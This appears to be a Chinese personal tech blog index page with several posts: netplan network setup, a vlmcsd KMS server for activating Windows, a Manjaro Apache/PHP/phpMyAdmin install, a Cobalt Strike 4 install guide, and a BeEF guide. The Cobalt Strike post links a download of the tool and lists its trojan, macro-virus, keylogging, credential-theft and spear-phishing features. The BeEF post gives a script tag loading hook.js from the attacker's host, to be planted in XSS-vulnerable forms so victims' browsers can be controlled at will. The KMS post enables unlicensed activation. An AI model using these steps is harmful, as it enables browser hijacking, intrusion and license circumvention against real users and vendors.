497 (code=exited, status=0/SUCCESS) CPU: 431ms Nov 23 16:36:13 orangepi-r1plus-lts ifup[497]: ifup: waiting for lock on /run/network/ifstate.lan0 Warning: journal has been rotated since unit was started, output may be incomplete.1.3 ubuntu通过netplan设置ip打开netplan文件进行修改:sudo vim /etc/netplan/00-installer-config.yaml 参数说明:ens33是网卡名称(可以配置多个)dhcp4是是否采用自动分配地址addresses是IP地址gateway4是网关nameservers是DNS# This is the network config written by 'subiquity' network: ethernets: enp2s0: dhcp4: true enp3s0: dhcp4: true enp4s0: dhcp4: true enp5s0: dhcp4: false addresses: [192.168.0.1/24] # gateway4: 192.168.1.1 nameservers: addresses: [114.114.114.114] version: 2 然后执行以下命令应用配置sudo netplan apply
2022年11月11日
190 阅读
0 评论
0 点赞
2022-03-09
搭建KMS服务器
1. 前期准备:vlmcsd工具,官网可查资料:https://github.com/Wind4/vlmcsd/releases2. 开始配置KMS激活服务器:2.1 安装vlmcsd:wget https://github.com/Wind4/vlmcsd/releases/download/svn1111/binaries.tar.gz tar -xvf binaries.tar.gz cd binaries\Linux\Intel\static\ #安装linux版本instel系列static目录下的程序 mkdir /opt/kms #建立自己的程序目录 cp vlmcsd-x64-musl-static /opt/kms/ #复制程序 chmod 777 /opt/kms/vlmcsd-x64-musl-static #赋权限,+X也可以 /opt/kms/vlmcsd-x64-musl-static #运行一下程序 ,没有报错即安装成功2.2 开防火墙端口1688:firewall-cmd --zone=public --add-port=1688/tcp –permanent firewall-cmd –reload firewall-cmd –zone=public –list-ports #查看1688是否成功加入防火墙开放端口找一台电脑telnet192.168.8.114 1688测试端口服务是否正常开通3.3 配置成系统自启动:vim /usr/lib/systemd/system/vlmcsd-1688.service #创建自己的服务文件输入[Unit] Description=Microsoft Key Management System After=network.target After=network-online.target Wants=network-online.target [Service] Type=oneshot ExecStart= /opt/kms/vlmcsd-x64-musl-static RemainAfterExit=yes LimitNOFILE=65536 [Install] WantedBy=multi-user.targetsystemctl enable /usr/lib/systemd/system/vlmcsd-1688.service#安装服务到系统 reboot 3.4 检查系统自启动systemctl status #查询所有系统服务状态 systemctl status vlmcsd-1688.service #指定查询某个系统服务状态 ps -ef | grep vlmcsd-1688 #查询服务进程 ss -anltp | grep 1688 #查询端口状态 systemctl stop vlmcsd-1688.service systemctl restart vlmcsd-1688.service 3. Windows系列激活命令slmgr -upk #卸载密钥 slmgr /ipk xxxxx-xxxxx-xxxxx-xxxxx #配置系统序列号 slmgr /skms 10.160.1.201 #配置KMS服务器地址 slmgr /ato #激活系统 slmgr /xpr #查看系统激活到期时间 slmgr /dlv #查看授权详细信息
2022年03月09日
3,436 阅读
0 评论
0 点赞
2020-12-17
Manjaro 安装 PhpMyAdmin
1. 升级系统yay -Syu2. 安装 Apache升级完后,安装Apacheyay -S apache编辑 /etc/httpd/conf/httpd.conf filesudo vim /etc/httpd/conf/httpd.conf # 我这里用的vim,你可用其它的编辑器只要能编辑文本就行找到LoadModule unique_id_module modules/mod_unique_id.so 注释了[...] #LoadModule unique_id_module modules/mod_unique_id.so [...]保存退出让Apache 开机启动 然后重启 Apache 服务systemctl enable httpd systemctl restart httpd 然后看看 Apache 服务是否启动成功sudo systemctl status httpdActive: active (running) 有这个就意思成功运行测试一下Apache#创建一个简单的页面sudo touch /srv/http/index.html加入下列内容<html> <title>Welcome</title> <body> <h2> test page</h2> </body> </html>点击测试http://localhost3. 安装MariaDB执行下列命令来安装yay -S mysql57然后执行下面的命令sudo mysqld --initialize --user=mysql --basedir=/usr --datadir=/var/lib/mysql # 这里要复制最后一行的初始密码,后面要用到 sudo systemctl enable mysqld sudo systemctl start mysqld sudo systemctl status mysqld设置MySQL/MariaDB root user的密码#mysql_secure_installation然后输入之前复制的初始密码,之后可直接修改root密码,后面的一堆选项可以全部回车,没有仔细研究4. 安装 PHP执行安装命令yay -S php php-apache php-fpm安装完后来编辑/etc/httpd/conf/httpd.conf文件/etc/httpd/conf/httpd.conf找到下面的行取消注释[...] #LoadModule mpm_event_module modules/mod_mpm_event.so [...]然后找到LoadModule mpm_prefork_module modules/mod_mpm_prefork.so 一般在刚刚注释的那行下买 没有就在下面加上 有的话就取消注释LoadModule mpm_prefork_module modules/mod_mpm_prefork.so然后在最后加上下面的几行LoadModule php7_module modules/libphp7.so AddHandler php7-script php Include conf/extra/php7_module.conf保存退出测试php#创建test.phpsudo touch /srv/http/test.php加上下面几行<?php phpinfo(); ?>重启httpd servicesudo systemctl restart httpd然后打开http://ip-address/test.php如果看到php的页面就成功5 安装 phpMyAdmin执行命令yay -S phpmyadmin php74-mcrypt安装完成后编辑php.ini/etc/php/php.ini取消下列行的注释[...] extension=bz2 extension=mysqli [...]添加extension=mcrypt保存退出编辑phpMyAdmin的配置文件#sudo touch /etc/httpd/conf/extra/phpmyadmin.conf加入下列内容Alias /phpmyadmin "/usr/share/webapps/phpMyAdmin" <Directory "/usr/share/webapps/phpMyAdmin"> DirectoryIndex index.php AllowOverride All Options FollowSymlinks Require all granted </Directory>编辑 Apache的配置文件#/etc/httpd/conf/httpd.conf在最后加入Include conf/extra/phpmyadmin.conf保存,退出,重启httpd服务sudo systemctl restart httpd测试phpMyAdmin#打开http://IP-Address/phpmyadminphpmyadmin测试
2020年12月17日
682 阅读
0 评论
0 点赞
2020-11-14
Cobalt Strike4(cs4)安装教程
1.简介Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等下载链接: https://pan.baidu.com/s/1phJ-RJePp12E-P0qXtyr6Q?pwd=cool 提取码: cool2. 目录结构| cobaltstrike_cn.bat 【CS Windows客户端启动程序(中文)】 | cobaltstrike_en.bat 【CS Windows客户端启动程序(英文)】 │ cobaltstrike.jar 【主体程序】 | cobaltStrikeCN.jar 【翻译插件】 │ teamserver 【Linux服务端启动程序(linux shell脚本)】 | teamserver.bat 【Windows服务端启动程序(windows bat批处理)】 |─third-party 第三方工具 【vnc远程功能的dll】 | README.vncdll.txt | winvnc.x64.dll 【vnc服务端dllx64位】 | winvnc.x86.dll 【vnc服务端dllx86位】 |—Win_Linux shell script.7z 一些脚本文件 Win_Linux shell script.7z里主要是是一些脚本无后缀名的是Linux版的.bat后缀的是Windows版的 │ agscript [拓展应用的脚本] │ c2lint [检查c2配置文件的语法和预览] | cobaltstrike [客户端启动程序] | peclone [用来解析dll] | teamserver [服务端启动程序]3. 运行服务端团队服务器最好运行在Linux平台上,cobaltstrike.jar既是服务端程序也是客户端程序,一般情况Linux用teamserver启动服务端,Windows一般用teamserver.bat启动服务端teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD] <host> is the (default) IP address of this Cobalt Strike team server <password> is the shared password to connect to this server [/path/to/c2.profile] is your Malleable C2 profile [YYYY-MM-DD] is a kill date for Beacon payloads run from this serverWindows和Linux通用这个命令,如果提示没有证书就按照提示创建证书,权限不够就以管理员权限运行。第一个参数为服务器监听IP地址 此选项为必填选项第二个参数为服务器连接密码客户端使用此密码连接服务器 此选项为必填选项第三个参数为Malleable C2 profile配置文件如果不使用可以不用填写 此选项为可选选项第四个参数为Beacon有效负载运行结束日期。如果设置此选项则CS生成的每个Beacon stage中都将嵌入此结束日期,Beacon payload在此日期后将拒绝运行,处于sleep状态的Beacon payload醒来后也将自动退出结束运行 此选项为可选选项PS:团队服务器默认连接端口为50050,如果你想修改端口只需修改teamserver文件4. 客户端Linux:java -Dfile.encoding=UTF-8 -javaagent:cobaltStrikecn.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jarWindows:双击`cobaltstrike.exe`Mac 运行客户端:java -Dfile.encoding=UTF-8 -javaagent:/Users/hsm/SecFiles/CobaltStrike4.4/cobaltStrikecn.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar /Users/hsm/SecFiles/CobaltStrike4.4/cobaltstrike.jar输入服务端IP,端口默认50050,用户名任意,密码为之前设置的密码,点击connect。第一次连接会出现hash校验,这里的hash等于前面的启动teamserver时的hash,直接点击‘是’即可连接到团队服务器上。5. 菜单栏选项Cobalt StrikeNew Connection # 新建连接,支持连接多个服务器端 Preferences # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录 Visualization # 主要展示输出结果的视图 VPN Interfaces # 设置VPN接口 Listenrs # 创建监听器 Script Manager # 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等 Close # 退出连接ViewApplications # 显示受害主机的应用信息 Credentials # 显示所有以获取的受害主机的凭证,如hashdump、Mimikatz Downloads # 查看已下载文件 Event Log # 主机上线记录以及团队协作聊天记录 Keystrokes # 查看键盘记录结果 Proxy Pivots # 查看代理模块 Screenshots # 查看所有屏幕截图 Script Console # 加载第三方脚本以增强功能 Targets # 显示所有受害主机 Web Log # 所有Web服务的日志Attacks PackagesHTML Application # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件 MS Office Macro # 生成office宏病毒文件 Payload Generator # 生成各种语言版本的payload USB/CD AutoPlay # 生成利用自动播放运行的木马文件 Windows Dropper # 捆绑器能够对任意的正常文件进行捆绑(免杀效果差) Windows Executable # 生成可执行exe木马 Windows Executable(Stageless) # 生成无状态的可执行exe木马Web Drive-byManage # 对开启的web服务进行管理 Clone Site # 克隆网站,可以记录受害者提交的数据 Host File # 提供文件下载,可以选择Mime类型 Scripted Web Delivery # 为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery Signed Applet Attack # 使用java自签名的程序进行钓鱼攻击(该方法已过时) Smart Applet Attack # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(该方法已过时) System Profiler # 用来获取系统信息,如系统版本,Flash版本,浏览器版本等 Spear Phish # 鱼叉钓鱼邮件ReportingActivity Report # 活动报告 Hosts Report # 主机报告 Indicators of Compromise # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes Sessions Report # 会话报告 Social Engineering Report # 社会工程报告:包括鱼叉钓鱼邮件及点击记录 Tactics, Techniques, and Procedures # 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略 Reset Data # 重置数据 Export Data # 导出数据,导出.tsv文件格式HelpHomepage # 官方主页 Support # 技术支持 Arsenal # 开发者 System information # 版本信息 About # 关于工具栏1.新建连接 2.断开当前连接 3.监听器 4.改变视图为Pivot Graph(视图列表) 5.改变视图为Session Table(会话列表) 6.改变视图为Target Table(目标列表) 7.显示所有以获取的受害主机的凭证 8.查看已下载文件 9.查看键盘记录结果 10.查看屏幕截图 11.生成无状态的可执行exe木马 12.使用java自签名的程序进行钓鱼攻击 13.生成office宏病毒文件 14.为payload提供web服务以便下载和执行 15.提供文件下载,可以选择Mime类型 16.管理Cobalt Strike上运行的web服务 17.帮助 18.关于
2020年11月14日
770 阅读
0 评论
0 点赞
2020-11-09
XSS渗透框架Beef的安装和简单使用
BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。下载beefhttps://github.com/beefproject/beef解压进入beef-master输入bundle install进行安装安装完成后需要打开config.yaml修改帐号密码修改密码之后启动beef./beef在浏览器内输入命令行界面的http://本机ip:3000/ui/authentication访问,在beef登录界面输入beef的用户名和密码登录beef界面登录后,将<script src='http://IP(运行beef主机的IP):3000/hook.js'></script>插入存在xss漏洞的表单中,然后访问被上马的网页。如图回到Manjaro,出现了被攻击的机子,这时你就可以用Commands模块的功能为所欲为了。
2020年11月09日
1,747 阅读
0 评论
1 点赞
1
2